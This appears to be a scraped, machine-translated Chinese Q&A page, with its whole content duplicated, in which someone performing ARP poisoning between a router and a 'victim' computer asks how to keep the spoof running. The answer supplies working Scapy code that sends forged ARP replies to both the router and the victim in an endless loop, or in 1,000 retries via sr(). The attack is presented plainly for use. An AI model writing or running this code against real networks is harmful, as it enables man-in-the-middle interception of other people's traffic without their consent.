Python-2.7 Scapy重传数据包到目的地
Python-2.7 Scapy retransmit packet to destination
做arp中毒,我在1-路由器和2-受害计算机的连接中间。如何将数据包重新传输到目的地? (最好有scapy)
我有这个:
send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
查看 Scapy's API documentation 建议这些替代方案:
send
函数接受 2 个可能有用的附加参数:
loop
: send the packets endlessly if not 0.
inter
: time in seconds to wait between 2 packets.
因此,执行以下语句将无限循环发送数据包:
send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
inter=1, loop=1)
sr
函数接受 3 个可能有用的参数:
retry
: if positive, how many times to resend unanswered packets. if negative, how many consecutive unanswered probes before giving up. Only the negative value is really useful.
timeout
: how much time to wait after the last packet has been sent. By
default, sr
will wait forever and the user will have to interrupt (Ctrl-C) it when he expects no more answers.
inter
: time in seconds to wait between each packet sent.
由于发送的 ARP 数据包预计不会收到任何答复,因此使用所需的值指定这些参数可以在有限循环中发送数据包,这与之前的方法不同另一种选择,这会迫使一个无尽的选择。
不利的一面是,由于资源被分配给数据包接收和处理,这可能效率较低,但这可以忽略不计。
因此,执行以下语句将在 1000 次迭代的有限循环中发送数据包:
sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
retry=999, inter=1, timeout=1)
做arp中毒,我在1-路由器和2-受害计算机的连接中间。如何将数据包重新传输到目的地? (最好有scapy) 我有这个:
send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
查看 Scapy's API documentation 建议这些替代方案:
send
函数接受 2 个可能有用的附加参数:loop
: send the packets endlessly if not 0.
inter
: time in seconds to wait between 2 packets.因此,执行以下语句将无限循环发送数据包:
send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip), ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)], inter=1, loop=1)
sr
函数接受 3 个可能有用的参数:retry
: if positive, how many times to resend unanswered packets. if negative, how many consecutive unanswered probes before giving up. Only the negative value is really useful.
timeout
: how much time to wait after the last packet has been sent. By default,sr
will wait forever and the user will have to interrupt (Ctrl-C) it when he expects no more answers.
inter
: time in seconds to wait between each packet sent.由于发送的 ARP 数据包预计不会收到任何答复,因此使用所需的值指定这些参数可以在有限循环中发送数据包,这与之前的方法不同另一种选择,这会迫使一个无尽的选择。
不利的一面是,由于资源被分配给数据包接收和处理,这可能效率较低,但这可以忽略不计。
因此,执行以下语句将在 1000 次迭代的有限循环中发送数据包:
sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip), ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)], retry=999, inter=1, timeout=1)